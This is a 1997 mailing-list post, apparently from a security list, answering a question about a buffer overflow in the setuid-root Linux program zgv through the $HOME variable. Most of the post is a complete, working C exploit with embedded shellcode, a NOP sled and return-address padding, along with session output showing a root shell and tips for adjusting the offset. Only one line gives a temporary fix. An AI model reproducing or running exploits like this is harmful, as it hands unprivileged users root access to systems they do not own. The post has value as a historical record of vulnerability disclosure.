> zgv/svgalib "vulnerability" ?
> i dont really see where the problem with zgv/svgalib is.
>
> There is obviously a buffer overflow with the $HOME
> environment variable, but all my attemps to exploit
> this failed: svgalib had well dropped root perms
> (see below). Any idea ?
>
I got root on my Redhat system by exploiting zgv last night:
$ uname -a
Linux fluffy 2.0.18 #8 Sat May 17 12:30:14 CDT 1997 i586
$ cc -o n n.c
$ ./n
Oak driver: Unknown chipset (id = 0)
bash#
Here is the exploit I used. You may have to play with the
offset a little....
Some please confirm that this works on
other Linux system besides just mine :-)
/*
*
* zgv exploit coded by BeastMaster V on June 20, 1997
*
* USAGE:
* For some strage reason, the filename length of this
* particular exploit must me one character long, otherwise you
* will be dropped into a normal unpriviledged shell. Go Figure....
* Try increasing the offest by increments of 10 if you get
* an Illegal Instruction or Segmentation Fault.
*
* $ cp zgv_exploit.c n.c
* $ cc -o n n.c
* $ ./n
* Oak driver: Unknown chipset (id = 0)
* bash#
*
* EXPLANATION: zgv (suid root) does not check bounds for $HOME env.
* TEMPORARY FIX: chmod u-s /usr/bin/zgv
* NOTE: Don't forget to visit http://www.rootshell.com for more exploits.
* DISCLAIMER: Please use this in a responsible manner.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shellcode =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
"\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
"\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
"\xcd\x80/"
"/bin/sh"
"0";
char *get_sp() {
asm("movl %esp,%eax");
}
#define bufsize 4096
char buffer[bufsize];
main() {
int i;
for (i = 0; i < bufsize - 4; i += 4)
*(char **)&buffer[i] = get_sp() -4675;
memset(buffer, 0x90, 512);
memcpy(&buffer[512], shellcode, strlen(shellcode));
buffer[bufsize - 1] = 0;
setenv("HOME", buffer, 1);
execl("/usr/bin/zgv", "/usr/bin/zgv", NULL);
}
-bryan